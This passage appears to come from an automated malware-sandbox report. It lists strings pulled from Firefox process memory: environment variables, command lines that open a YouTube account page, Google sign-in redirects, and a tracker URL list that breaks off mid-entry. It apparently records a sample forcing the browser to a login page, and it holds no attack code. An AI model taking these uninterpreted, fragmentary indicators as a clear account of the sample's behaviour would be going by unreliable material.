Source: firefox.exe, 00000023.00000002.2536648453.0000020BC8320000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsR equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2185548634.0000027667482000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143827481.0000027667480000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: =C:=C:\Windows\System32ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Windows\system32chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2741348665.000001F3FF52B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.2557836360.0000021F9B584000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2557581882.0000020BC8714000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsHA[( equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354375210.000001C7575D4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user~1\100000~1chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2188686956.00000276676D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Windows\system32chromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=%ProgramFiles(x86)%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2208668139.0000020E12240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354149245.000001C757250000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Users\user\1000003002\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"Winsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2166956297.0000027667450000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"winsta0\default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2208668139.0000020E12240000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2587849657.000001F3EF2F0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354375210.000001C7575D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: CommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user~1\AppData\Local\TempTMP=C:\Users\user~1\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows=rr equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2744297021.000001F3FF845000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: GET /InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AdF4I75Ohucts42xh2D58xcZPEZA3lazskj-CR4hUOGo3BNKvW_z5CkM9nA2-Dralbmz-v42E-PqUg HTTP/1.1 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Get to a Wikipedia page fast, from anywhere on the web. Just highlight any webpage text and right-click to open the context menu to start a Wikipedia search.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == true equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2181650607.0000027667472000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2143690714.000002766746D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Gg8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
Source: History.31.dr String found in binary or memory: Khttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=AdF4I75Ohucts42xh2D58xcZPEZA3lazskj-CR4hUOGo3BNKvW_z5CkM9nA2-Dralbmz-v42E-PqUg equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2587849657.000001F3EF300000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2603369340.000001F3F0DF9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.2533978892.0000021F9B19A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account9 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountp equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: O^partitionKey=%28https%2Cgoogle.com%29,:https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.2557836360.0000021F9B580000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: RY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\P equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2557581882.0000020BC8710000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: RY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\PX@[9 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Show snippets on activity streamhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Show snippets on activity streamhttps://www.youtube.com/accountsection.highlights.includePocketaboutConfigPipPrefs.onPrefChangefeeds.section.topstories.optionsZoomManager_setZoomForBrowserNEWTAB_POCKET_TOPICS_SURVEY_2 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2188686956.00000276676D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2166956297.0000027667459000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.2354375210.000001C7575D4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: URL=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2166956297.0000027667459000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: URL=https://www.youtube.com/accountIO equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2188686956.00000276676D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: URL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.2354149245.000001C757259000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: URL=https://www.youtube.com/accountn equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateServiceStub:migrateUpdateDirectory Failed to migrate uninstall resource://gre/modules/components-utils/FilterExpressions.sys.mjsCustomization target must be a direct child of an overflowable toolbar.submitPing - can't send ping now, persisting to disk - canSendNow: _shouldNotify - User not notified, notification already in progress.about:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["www.facebook.com","facebook.com"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["www.youtube.com","youtube.com"] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", 